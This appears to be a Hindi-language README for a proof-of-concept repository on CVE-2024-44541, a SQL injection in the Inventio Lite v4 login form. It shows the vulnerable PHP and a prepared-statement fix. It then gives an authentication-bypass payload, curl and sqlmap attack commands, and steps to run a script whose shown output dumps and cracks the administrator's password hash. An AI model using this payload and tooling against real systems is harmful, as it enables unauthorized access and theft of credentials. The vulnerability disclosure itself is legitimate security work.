
यह रिपॉजिटरी Inventio Lite v4 में SQL Injection कमजोरी का विवरण देती है, जिसमें शोषण के चरण और हमले को स्वचालित करने के लिए एक Python स्क्रिप्ट शामिल है। यह कमजोर कोड, अनुशंसित सुधारों, तथा प्रशासनिक क्रेडेंशियल्स को निकालने और डिक्रिप्ट करने के तरीके के बारे में जानकारी प्रदान करती है।
Inventio Lite v4, /action=processlogin एंडपॉइंट में SQL Injection (SQLi) के प्रति संवेदनशील है। यह भेद्यता हमलावरों को POST अनुरोधों में username पैरामीटर के माध्यम से मनमाना SQL क्वेरी इंजेक्ट करने की अनुमति देती है, जिससे अनधिकृत पहुंच और डेटा निष्कर्षण हो सकता है।
असुरक्षित कोड इस प्रकार है:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
असुरक्षित कोड का स्क्रीनशॉट:

समस्या प्रिपेयर्ड स्टेटमेंट का उपयोग करके ठीक की गई है:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
इस भेद्यता का शोषण करने के लिए, निम्नलिखित पेलोड का उपयोग करें:
user -> ") or 1=1-- -
pass -> blablalba
curl का उपयोग करके हमले का उदाहरण:
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
प्रशासक के उपयोगकर्ता नाम और पासवर्ड हैश के शोषण और निष्कर्षण को स्वचालित करने के लिए, आप प्रदान की गई Python स्क्रिप्ट sqli.py का उपयोग कर सकते हैं।
आप इस रिपॉजिटरी को क्लोन कर सकते हैं
git clone https://github.com/pointedsec/CVE-2024-44541
फिर pip के साथ आवश्यकताएँ स्थापित करें
pip install -r requirements.txt
आवश्यकता अनुसार स्क्रिप्ट में निम्नलिखित वेरिएबल्स को संशोधित करें:
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"और स्क्रिप्ट निष्पादित करें, यह प्रशासक उपयोगकर्ता नाम और हैश डंप करेगा, फिर SHA1(MD5(password)) प्रारूप के साथ हैश को क्रैक करने का प्रयास करेगा।
उदाहरण आउटपुट:
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
गोपनीयता: हमलावर पूरे डेटाबेस को डंप कर सकते हैं, जिससे उपयोगकर्ता क्रेडेंशियल्स और व्यक्तिगत जानकारी जैसी संवेदनशील डेटा उजागर हो सकती है।
अखंडता: हमलावर प्रमाणीकरण को बायपास कर सकते हैं और प्रशासनिक पहुंच प्राप्त कर सकते हैं, जिससे वे डेटा को संशोधित या हटा सकते हैं।
यह भेद्यता रिपोर्ट Andrés Del Cerro द्वारा पहचानी गई थी। अधिक जानकारी के लिए, कृपया मुझसे [email protected] पर संपर्क करें।